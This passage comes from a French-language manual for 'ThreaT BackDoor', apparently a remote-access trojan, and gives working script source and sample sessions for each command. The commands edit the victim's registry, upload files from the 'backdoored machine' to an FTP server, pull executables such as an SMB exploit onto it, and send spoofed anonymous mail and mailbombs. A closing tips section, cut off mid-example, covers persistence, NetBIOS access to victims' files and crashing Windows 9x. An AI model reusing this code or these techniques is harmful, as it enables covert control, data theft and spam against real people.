endif ----------------[ End of Code]----------------- ___________ | CREATEVAL | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Mis en place pour la creation d'une valeur, la commande createval demande 2 arguments. le premier pour le nom et le second pour le Type. voici la syntaxe pour cette commande : Syntaxe : CREATEVAL ou doit être un nombre correspondant aux valeurs decrites si dessous 1 : REG_SZ 2 : REG_EXPAND_SZ 3 : REG_BINARY 4 : REG_DWORD 7 : REG_MULTI_SZ exemple C:\>regedit hklm #~HKEY_LOCAL_MACHINE>ck system\disk #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>createval sz 1 La valeur [sz] a été créée #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>createval bin 3 La valeur [bin] a été créée #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>createval dword 4 La valeur [dword] a été créée #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>ls --------------------- Information sz bin dword --------------------- #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>viewval sz NOM : SZ TYPE : REG_SZ DONNEES : #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>viewval bin NOM : BIN TYPE : REG_BINARY DONNEES : #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>viewval dword NOM : DWORD TYPE : REG_DWORD DONNEES : 0 Createval permet aussi de changer le type d'une valeur #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>createval sz 7 La valeur [sz] a été créée #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>viewval sz NOM : SZ TYPE : REG_MULTI_SZ DONNEES : -------------------[ Code ]-------------------- if !isdefined (param3) then param3 = 10 if param3 > 7 || param3 == 5 || param3 == 6 a="%@crlf%Syntaxe : CREATEVAL %@crlf%%@crlf%ou doit être un nombre correspondant aux valeurs decrites si dessous%@crlf%1 : REG_SZ%@crlf%2 : REG_EXPAND_SZ%@crlf%3 : REG_BINARY%@crlf%4 : REG_DWORD%@crlf%" b="7 : REG_MULTI_SZ%@crlf%" ssendline (connexion,strcat (a,b)) else a=regsetex (regkey,"%strkey%[%param2%]","",";",param3) if a == 1 then ssendline (connexion,"%@crlf%La valeur [%param2%] a été créée") else ssendline (connexion,"%@crlf%Impossible de créer la valeur [%param2%]") endif ----------------[ End of Code]----------------- ________ | DELVAL | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| La commande delval vous permet de supprimer une valeur du registre en specifiant simplement le nom de la valeur en premier argument exemple : #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>ls --------------------- Information Test sz bin dword --------------------- #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>delval test La valeur [Test] a été suprimée! #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>ls --------------------- Information sz bin dword --------------------- -------------------[ Code ]-------------------- if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe : DELVAL %@crlf%") else a=regdelvalue (regkey,"%strkey%[%param2%]") if a == 1 then ssendline (connexion,"%@crlf%La valeur [%param2%] a été supprimée!%crlf%") else ssendline (connexion,"%@crlf%Impossible de supprimé la valeur [%param2%]!") endif ----------------[ End of Code]----------------- __________ | MODIFVAL | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Cette commande va vous permettre de changer la ou les données pour une valeur specifiée en premier argument Syntaxe : MODIFVAL Pour assigner plusieurs données à une REG_MULTI_SZ, utilisez la separation '|' exemple : MODIFVAL valeurtest aa|bb|cc Attention à bien assigner une donnée correspondant au type de la valeur à modifier exemple : #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>ls --------------------- Information sz bin dword --------------------- #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>modifval bin abcd Impossible de modifier la valeur avec les données indiquées! Verifiez que le type de valeur correspond bien à la donnée que vous essayez de lui assignée #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>modifval bin 10 La valeur a été modifier avec succès. #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>viewval bin NOM : BIN TYPE : REG_BINARY DONNEES : 10 regardons maintenant comment ce comporte modifval avec une valeur de type REG_MULTI_SZ #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>createval test 7 La valeur [test] a été créée #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>modifval test donnee1|donnee2|troisieme|quatre La valeur a été modifier avec succès. #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>viewval test NOM : TEST TYPE : REG_MULTI_SZ DONNEES : donnee1 donnee2 troisieme quatre #~HKEY_LOCAL_MACHINE\SYSTEM\DISK> -------------------[ Code ]-------------------- if !isdefined (param3) ssendline (connexion,"%@crlf%Syntaxe : MODIFVAL %@crlf%%@crlf%Pour assigner plusieurs données à une REG_MULTI_SZ, utiliser la separation '|'%@crlf%exemple : MODIFVAL valeurtest aa|bb|cc") else type=regentrytype (key,"[%param2%]") if type != 0 a=regsetex (regkey,"%strkey%[%param2%]","%param3%","|",type) if a == 1 then ssendline (connexion,"%@crlf%La valeur a été modifier avec succès.") else ssendline (connexion,"%@crlf%Impossible de modifier la valeur avec les données indiquées!%@crlf%Verifiez que le type de valeur correspond bien à la donnée que vous essayez de lui assignée") else ssendline (connexion,"%@crlf%La valeur que vous avez indiquez n'existe pas.") endif endif ----------------[ End of Code]----------------- ___________ | CREATEKEY | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| createkey crée une clé dans la clé de registre courante. (c'est un peu l'equivalent de la commande MD sous DOS) Syntaxe : CREATEKEY exemple : #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>ls --------------------- Information sz bin dword --------------------- #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>createkey testkey Creation de la clé system\disk\testkey... #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>ls --------------------- testkey Information sz bin dword --------------------- #~HKEY_LOCAL_MACHINE\SYSTEM\DISK> -------------------[ Code ]-------------------- if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe : CREATEKEY %@crlf%") else regcreatekey (regkey,"%strkey%\%param2%") ssendline (connexion,"%@crlf%Creation de la clé %strkey%%param2%...%crlf%") endif ----------------[ End of Code]----------------- ________ | DELKEY | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| contrairement à createkey, delkey supprime une clé dans la clé de registre courante. Syntaxe : DELKEY exemple : #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>delkey testkey La clé system\dik\testkey a été supprimée! #~HKEY_LOCAL_MACHINE\SYSTEM\DISK>ls --------------------- Information sz bin dword --------------------- #~HKEY_LOCAL_MACHINE\SYSTEM\DISK> -------------------[ Code ]-------------------- if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe : DELKEY %@crlf%") else a=regdeletekey (regkey,"%strkey%%param2%") if a == 1 then ssendline (connexion,"%@crlf%La clé %strkey%%param2% a été supprimée!%crlf%") else ssendline (connexion,"%@crlf%Impossible de supprimé la clé %strkey%%param2%!") endif ----------------[ End of Code]----------------- ______ | QUIT | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Pour quitter regedit est revenir au shell. B:\> FTP FTP + +->CONNECT : Ce connecter à un serveur +->LS ou DIR : afficher les fichiers et repertoires +->CD : Changer de repertoire +->PWD : Affiche le repertoire courant +->LCD : Affiche ou change le repertoire courant de la machine local +->TYPE : Affiche quel est le mode de transfert de fichiers +->ASCII : Positionne le mode de transfert de fichiers en ascii +->BIN : Positionne le mode de transfert de fichiers en binaire +->DEL : Effacer un fichier +->RENAME ou REN : Renomer un fichier +->QUOTE : Envoie une commande au serveur FTP +->GET : Copie un fichier depuis le serveur FTP vers la machine local +->PUT : Envoye un fichier local sur le serveur FTP +->DISCONNECT : Deconnexion de la session en cours +->QUIT : Sortir de FTP _________ | CONNECT | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Assurant la fonction de la commande OPEN du client ftp standard, CONNECT tente une connexion vers un serveur FTP avec les login et password que vous lui indiquez. Syntaxe : CONNECT Il est possible cependent de bypasser la commande connect en donnant directement à la commande FTP l'host auquel ce connecter en premier argument exemple : telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\> ftp ftp.multimerde.com User : lamer Password : azerty Tentative de connexion à ftp.multimerde.com...Failed! FTP> connect ftp.multimania.com User : lamer Password : azerty Tentative de connexion à ftp.multimania.com...OK Vous êtes connecté à ftp.multimania.com avec le compte lamer. ftp.multimania.com : FTP> -------------------[ Code ]-------------------- if !isdefined (param2) ssendline (connexion,"Syntaxe : CONNECT ") else ssendstring (connexion,"User : ") while @true user=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"Password : ") while @true password=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"Tentative de connexion à %param2%...") session=ftpOpen(param2,user,password,"",1) if isnumber (session) ssendline (connexion,"OK!%@crlf%%@crlf%Vous êtes connecté à %param2% avec le compte %user%.%@crlf%%@crlf%") host=strcat (param2," : ") else ssendline (connexion,strcat ("Failed!",@crlf,session)) endif endif ----------------[ End of Code]----------------- ___________ | LS ou DIR | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| LS ou DIR servent à lister le contenu d'un repertoire. Il est biensur possible de specifier en argument un nom, un groupe de fichiers ou un repertoire. exemple : C:\> ftp srvtest User : anonymous Password : ThreaT@Caramail.com Tentative de connexion à srvtest...OK! Vous êtes connecté à srvtest avec le compte anonymous. srvtest : FTP> -rwxrwxrwx 1 ftp ftp 95874 May 05 1999 COMMAND.COM -rw-rw-rw- 1 ftp ftp 26 Aug 30 20:12 test.txt drw-rw-rw- 1 ftp ftp 0 Sep 22 2000 WINDOWS -rwxrwxrwx 1 ftp ftp 26144 Jul 13 19:40 smbx.exe -rw-rw-rw- 1 ftp ftp 130 Aug 19 17:06 CONFIG.SYS -rwxrwxrwx 1 ftp ftp 134 Sep 05 14:13 AUTOEXEC.BAT -rw-rw-rw- 1 ftp ftp 1891 Sep 03 23:36 buff.txt drw-rw-rw- 1 ftp ftp 0 Sep 22 2000 Mes documents dr--r--r-- 1 ftp ftp 0 Sep 22 2000 Program Files drw-rw-rw- 1 ftp ftp 0 Sep 23 2000 drivers drw-rw-rw- 1 ftp ftp 0 Sep 23 2000 ATI -rw-rw-rw- 1 ftp ftp 7048 Sep 10 07:18 winzip.log -rw-rw-rw- 1 ftp ftp 134 Sep 05 14:04 AUTOEXEC.CAM -rw-rw-rw- 1 ftp ftp 512 Sep 22 2000 bootsect.dos -rw-rw-rw- 1 ftp ftp 316 Sep 22 2000 boot.ini -rw-rw-rw- 1 ftp ftp 47616 Jul 19 12:21 CV.doc drw-rw-rw- 1 ftp ftp 0 Oct 14 2000 pwl drw-rw-rw- 1 ftp ftp 0 Nov 04 2000 DivX drw-rw-rw- 1 ftp ftp 0 Aug 13 02:33 FEX -rw-rw-rw- 1 ftp ftp 766 Aug 20 16:53 note.ico --- Suite --- drw-rw-rw- 1 ftp ftp 0 Nov 10 2000 TMP drw-rw-rw- 1 ftp ftp 0 Dec 31 2000 FISC drw-rw-rw- 1 ftp ftp 0 Jan 18 09:52 script drw-rw-rw- 1 ftp ftp 0 Dec 17 2000 ASM -rwxrwxrwx 1 ftp ftp 11448 Feb 07 1997 GETFILE.EXE drw-rw-rw- 1 ftp ftp 0 Dec 05 2000 Perl drw-rw-rw- 1 ftp ftp 0 Dec 08 2000 Borland drw-rw-rw- 1 ftp ftp 0 Jan 01 03:48 WINAMP208 -rw-rw-rw- 1 ftp ftp 1524757 Jan 11 1999 dico.txt -rwxrwxrwx 1 ftp ftp 8197 Feb 07 1997 SETVAR.EXE -rw-rw-rw- 1 ftp ftp 7181 Jul 13 19:40 smbxploit.c drw-rw-rw- 1 ftp ftp 0 Feb 12 15:46 project -rw-rw-rw- 1 ftp ftp 766 Aug 19 21:37 Icon 2.ico -rw-rw-rw- 1 ftp ftp 600586240 Mar 02 00:16 sexe_intentions.01.avi -rw-rw-rw- 1 ftp ftp 1663016 May 02 15:08 dicot.txt drw-rw-rw- 1 ftp ftp 0 May 15 18:19 funfix -rwxrwxrwx 1 ftp ftp 246784 May 29 16:09 setup.exe drw-rw-rw- 1 ftp ftp 0 Jun 09 21:42 WESTWOOD drw-rw-rw- 1 ftp ftp 0 Sep 30 2000 jpa&co srvtest : FTP> ls *.exe -rwxrwxrwx 1 ftp ftp 26144 Jul 13 19:40 smbx.exe -rwxrwxrwx 1 ftp ftp 11448 Feb 07 1997 GETFILE.EXE -rwxrwxrwx 1 ftp ftp 8197 Feb 07 1997 SETVAR.EXE -rwxrwxrwx 1 ftp ftp 246784 May 29 16:09 setup.exe srvtest : FTP> -------------------[ Code ]-------------------- if !isnumber (session) then goto errorsession if !isdefined (param2) then param2 = "" tmppath=filecreatetemp ("ftp") ftplist (session,param2,tmppath) spwn=fileopen (tmppath,"READ") if lasterror() == "1077" ssendline (connexion,"%@crlf%Une erreur de transmition est survenu...%@crlf%") break endif while @true for a = 1 to 20 shell = fileread (spwn) if shell == "*EOF*" then break ssendline (connexion, shell) next if shell == "*EOF*" then break ssendline (connexion, "%@crlf%-- Suite --") while @true x=srecvline (connexion,1) if wxGetLastErr() == @sok then break endwhile continue endwhile fileclose (spwn) filedelete (tmppath) ----------------[ End of Code]----------------- ____ | CD | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Comme pour le shell, CD change de repertoire. Syntaxe : CD exemple : srvtest : FTP>cd /tmp 250 CWD command successful. srvtest : FTP>ls drw-rw-rw- 1 ftp ftp 0 Nov 10 2000 . drw-rw-rw- 1 ftp ftp 0 Nov 10 2000 .. srvtest : FTP> -------------------[ Code ]-------------------- if !isnumber (session) then goto errorsession if !isdefined (param2) ssendline (connexion,"Syntaxe : CD ") else chd=ftpchdir (session,param2) if chd == "" then ssendline (connexion,"250 CWD command successful.") else ssendline (connexion,chd) endif ----------------[ End of Code]----------------- _____ | PWD | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Cette commande affiche le nom du repertoire courant. exemple : srvtest : FTP> pwd 257 Current dir is "C:/tmp/". srvtest : FTP> -------------------[ Code ]-------------------- if !isnumber (session) then goto errorsession ssendline (connexion,ftpquote (session,"pwd")) ----------------[ End of Code]----------------- _____ | LCD | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| La commande LCD change le repertoire local du shell. Syntaxe : LCD exemple : srvtest : FTP> lcd d:\winnt Le reperoire local est : d:\winnt\ srvtest : FTP> -------------------[ Code ]-------------------- if !isdefined (param2) param2 = dirget () ssendline (connexion,"%@crlf%Syntaxe : LCD ") endif aa=dirchange (param2) if aa != 1 then ssendline (connexion,"%@crlf%Impossible de changer de repertoire.") else ssendline (connexion,strcat ("%@crlf%Le repertoire local est : ",dirget())) ----------------[ End of Code]----------------- _____________________ | TYPE | ASCII | BIN | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Ces trois commandes servent pour le paramètrage du transfert de fichiers (commandes 'put' & 'get') La commande ASCII positionne le transfert en mode 'A'. Utilisez ce mode pour faire du download ou de l'upload de fichiers textes La commande BIN positionne le transfert de fichier en mode 'B' Utilisez ce mode pour faire du download ou de l'upload de fichiers binaire (comme les fichiers .exe) La commande TYPE indique dans quel etat ce positionne le flag de transfert, à savoir'A' pour ascii, et 'B' pour binaire lors de l'uload ou du download de fichiers. exemple : srvtest : FTP> type Using ASCII mode to transfer files. srvtest : FTP> bin Using BINARY mode to transfer files. srvtest : FTP> type Using BINARY mode to transfer files. srvtest : FTP> ascii Using ASCII mode to transfer files. srvtest : FTP> -------------------[ Code ]-------------------- if !isnumber (session) then goto errorsession if param1 == "bin" then type = "B" if param1 == "ascii" then type = "A" if type == "A" then ssendline (connexion,"Using ASCII mode to transfer files.") if type == "B" then ssendline (connexion,"Using BINARY mode to transfer files.") ----------------[ End of Code]----------------- _____ | DEL | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| La commande 'DEL' efface un fichier du serveur FTP. si vous ne specifiez pas le fichier à effacer en premier argument, DEL vous le demanderas tout seul. exemple : srvtest : FTP> del winzip.log winzip.log : Le fichier a été effacé avec succès! srvtest : FTP> del (fichier à effacer) : test.bin test.bin : Le fichier a été effacé avec succès! srvtest : FTP> -------------------[ Code ]-------------------- if !isnumber (session) then goto errorsession if isdefined (param2) then goto ftpdel ssendstring (connexion,"(fichier à effacer) : ") while @true param2=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile :ftpdel a=ftpdelete (session,param2) if a == "" ssendline (connexion,"%param2% : Le fichier a été effacé avec succès!") else if a == 0 then ssendline (connexion,"Erreur : La suppression du fichier demandé est impossible.") else ssendline (connexion,a) endif ----------------[ End of Code]----------------- _______________ | RENAME ou REN | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Rename renome un fichier du serveur FTP. La syntaxe d'origine est ren Toutefois, si vous avez ommis de renseigner ces 2 arguments, la commande vous les demanderas automatiquement. exemple : srvtest : FTP> rename (remote old-name) : test.txt (remote new-name) : threat.txt OK : test.txt a été renomé en threat.txt. srvtest : FTP>ren threat.txt t.txt OK : threat.txt a été renomé en t.txt. srvtest : FTP> -------------------[ Code ]-------------------- if !isnumber (session) then goto errorsession if isdefined (param3) then goto ftpren ssendstring (connexion,"(remote old-name) : ") while @true param2=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"(remote new-name) : ") while @true param3=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile :ftpren a=ftprename (session,param2,param3) if a == "" ssendline (connexion,"OK : %param2% a été renomé en %param3%.") else if a == 0 then ssendline (connexion,"Erreur : Impossible de renomer le fichier specifié!") else ssendline (connexion,a) endif ----------------[ End of Code]----------------- _______ | QUOTE | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Quote envoie une commande au serveur FTP pour que celui ci l'execute Syntaxe : QUOTE exemple : srvtest : FTP> quote pwd 257 Current dir is "C:/". srvtest : FTP> -------------------[ Code ]-------------------- if !isnumber (session) then goto errorsession if !isdefined (param2) then ssendline (connexion,"Syntaxe : QUOTE ") else ssendline (connexion,ftpquote (session,param2)) ----------------[ End of Code]----------------- _____ | GET | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| La commande 'get' telecharge un fichier du serveur FTP vers la machine backdooré. Syntaxe : GET Si vous avez ommis de specifier les arguments, la commande get vous les demandes automatiquement. Pour connaitre les modes de transfert, referancez vous aux commandes 'TYPE, ASCII & BIN' exemple : srvtest : FTP> bin Using BINARY mode to transfer files. srvtest : FTP>lcd c:\tmp Le reperoire local est : c:\tmp\ srvtest : FTP> get (remote file) : smbx.exe (local file) : smbx.exe Telechargement du fichier en mode B... OK : le telechargement c'est effectué avec succès. srvtest : FTP> quit Votre session FTP a été deconnectée! Bye Bye! C:\tmp\> dir Liste des fichiers present depuis C:\tmp\ ----------------------------------------- smbx.exe C:\tmp\> -------------------[ Code ]-------------------- if !isnumber (session) then goto errorsession if isdefined (param3) then goto get ssendstring (connexion,"(remote file) : ") while @true param2=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"(local file) : ") while @true param3=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile :get ssendstring (connexion,"Telechargement du fichier en mode %type%...") a=ftpget (session,param2,param3,type) if a == "" ssendline (connexion,"%@crlf%OK : Le telechargement c'est effectué avec succès.") else if a == 0 then ssendline (connexion,"%@crlf%Erreur : Impossible de telecharger le fichier source vers la destination.") else ssendline (connexion,a) endif ----------------[ End of Code]----------------- _____ | PUT | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| La commande 'PUT' permet d'uploader un fichier de la machine backdooré sur le serveur FTP. La syntaxe et les specifications sont similaires à la commande 'GET' Syntaxe : PUT exemple : srvtest : FTP> bin Using BINARY mode to transfer files. srvtest : FTP> put c:\command.com /tmp/command.com OK : Le transfert c'est effectué avec succès. srvtest : FTP> cd /tmp 250 CWD command successful. srvtest : FTP> ls drw-rw-rw- 1 ftp ftp 0 Nov 10 2000 . drw-rw-rw- 1 ftp ftp 0 Nov 10 2000 .. -rwxrwxrwx 1 ftp ftp 95874 Sep 10 17:51 command.com -------------------[ Code ]-------------------- if !isnumber (session) then goto errorsession if isdefined (param3) then goto put ssendstring (connexion,"(local file) : ") while @true param2=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"(remote file) : ") while @true param3=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile :put ssendstring (connexion,"Transfert du fichier en mode %type%...") a=ftpput (session,param2,param3,type) if a == "" ssendline (connexion,"%@crlf%OK : Le transfert c'est effectué avec succès.") else if a == 0 then ssendline (connexion,"%@crlf%Erreur : Impossible de copier le fichier source vers la destination.") else ssendline (connexion,a) endif ----------------[ End of Code]----------------- ____________ | DISCONNECT | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Cette commande sert à ce deconnecter de la session FTP en cours, tout en restant dans l'utilitaire. exemple : srvtest : FTP> disconnect Disconnected! FTP> -------------------[ Code ]-------------------- if !isnumber (session) then goto errorsession ftpclose (session) ssendline (connexion,"Disconnected!%@crlf%%@crlf%") host="" session="" ----------------[ End of Code]----------------- ______ | QUIT | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| sort du client FTP. Si vous tapez la commande 'quit' au cours d'une session, la session est automatiquement fermée avant de quitter l'utilitaire. exemple : srvtest : FTP> quit Votre session FTP a été deconnectée! Bye Bye! C:\> C:\> MAIL MAIL + +->SEND : Envoyer un mail simple. +->SPAM : Mettre en place un mail qui seras envoyé plusieur fois. La difference entre SEND et SPAM est la suivante : 'Send' créé un mail anonyme, et ne l'envoie qu'une seul une fois au destinataire tandis que 'Spam' créé lui aussi un mail anonyme, mais vous propose combien de fois vous desirez l'envoyer. Aucun argument n'est necesaire pour l'une ou l'autre des commandes. L'utilitaire vous demande au fur et à mesure les informations dont celui ci a besoin, à savoir : - L'adresse d'un serveur SMTP - L'adresse email de l'expediteur - L'adresse email du destinataire - le sujet du message - le message en lui meme - Le nombre de mail à envoyer pour la commande spam exemple : telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>mail Anonymous Mail Sender for ThreaT Backdoor, V 0.3 ------------------------------------------------ SMTP> send Creation d'un Mail simple ------------------------- Serveur de mail : www.wanadoo.fr Email source : webmaster@wanadoo.fr Email destination : lamer@wanadoo.fr Sujet : plainte Tapez votre texte et terminez par le signe 'point' >.< ------------------------------------------------------ Mr lamer. Nous vous informons que nos services ont deposé une plainte contre vous pour debilité profonde. . Envoye de 1 mail à www.wanadoo.fr...ok Terminé! SMTP> Attention! L'utilitaire ne genère aucun message d'erreur en cas de problème dans les renseignents demandés, ce qui veut dire qu'il vous faut parfaitement maitriser l'envoie de messages anonymes. (choix du serveur, email destination,...) -------------------[ Code ]-------------------- if param1 == "mailbomb" then ssendline (connexion,strcat (@crlf,"Creation d'un Mail destiné à etre spamé!%@crlf%",strfill ("-",38),@crlf)) else ssendline (connexion,strcat (@crlf,"Creation d'un Mail simple%@crlf%",strfill ("-",25),@crlf)) ssendstring (connexion,"%@crlf%Serveur de mail : ") while @true serveur=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"Email source : ") while @true source=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"Email destination : ") while @true dest=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"Sujet : ") while @true sujet=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile buffer=binaryalloc (10000) ssendstring (connexion,strcat ("%@crlf%Tapez votre texte et terminez par le signe 'point' >.<",@crlf,strfill ("-",54),@crlf)) while @true text=srecvline (connexion, 100) if wxgetlasterr() != @sok then continue if text == "." then break else binarypokestr (buffer,binaryeodget (buffer),strcat (text,@crlf)) endwhile if param1 == "spam" ssendstring (connexion,"%@crlf%Nombre de mail à envoyer : ") while @true nbrm=srecvline (connexion, 10) if wxgetlasterr() != @sok then continue if isnumber (nbrm) then break endwhile endif ssendstring (connexion,"%@crlf%") for i = 1 to nbrm ssendstring (connexion,"Envoye de %i% mail(s) à %serveur%...") smtpsendtext (serveur,source,dest,sujet,binarypeekstr (buffer,0,binaryeodget (buffer))) ssendstring (connexion,"ok%@cr%") next ssendline (connexion,"%@crlf%Terminé!%@crlf%") nbrm=1 drop (i) binaryfree (buffer) ----------------[ End of Code]----------------- ###################### ______________________ 0x05 ~ TRUCS & ASTUCES ^^^^^^^^^^^^^^^^^^^^^^ ###################### ========================================================================================== a) Ecrire une suite de commandes qui serons executés automatiquement (script). b) Garder un shell actif même en cas de fermeture de session grâce au privilège administratif. c) Acceder à tous les repertoires de votre victime via NETBIOS grâce à TB. d) Browser le réseau de votre victime avec Tbackdoor. e) Generer un blue screen sous W9x ;-) =========================================================================================== a / ECRIRE UNE SUITE DE COMMANDES QUI SERONS EXECUTES AUTOMATIQUEMENT (script) °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° l'execution d'une suite de commande peut s'averer très pratique si l'on desire prendre de cours notre amis l'administrateur! voici comment proceder pour mettre en oeuvre la chose : tout d'abbors, obtenons un premier shell TB en nous connectant sur un port quelqonque ---[ TB shell 1 ]--- telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\> ok, si vous vous rappelez bien, nous avons evoquer tout à l'heure avec la commande OPEN que si nous faisions un netstat, nous pouvions remarquez que le port sur lequel est actif notre shell ce trouve à la fois en etat d'ecoute et en etat de connexion etablie ! C:\>spawn netstat -a | find /i '"4241"' TCP srvtest:4251 0.0.0.0:0 EN ECOUTE TCP srvtest:4251 threat:1033 ETABLIE ce qui veut dire que nous pouvons nous connecter une 2eme fois sur le même port! ---------------------- ---[ TB shell 2 ]--- telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. -------------------- effectivement, sa marche, mais TB ne nous donneras pas de prompte tant que nous n'aurons pas tapez EXIT sur le 1er shell! ce qui veut dire que si nous tapons une suite de commande dans le 2eme shell, et que nous faisons un EXIT dans le 1eme, TB vas directement executer notre suite de commande dès l'apparition du prompte :) test : ---[ TB shell 2 ]--- telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. open 4252 mouse "0 0" execute notepad sendkey "le 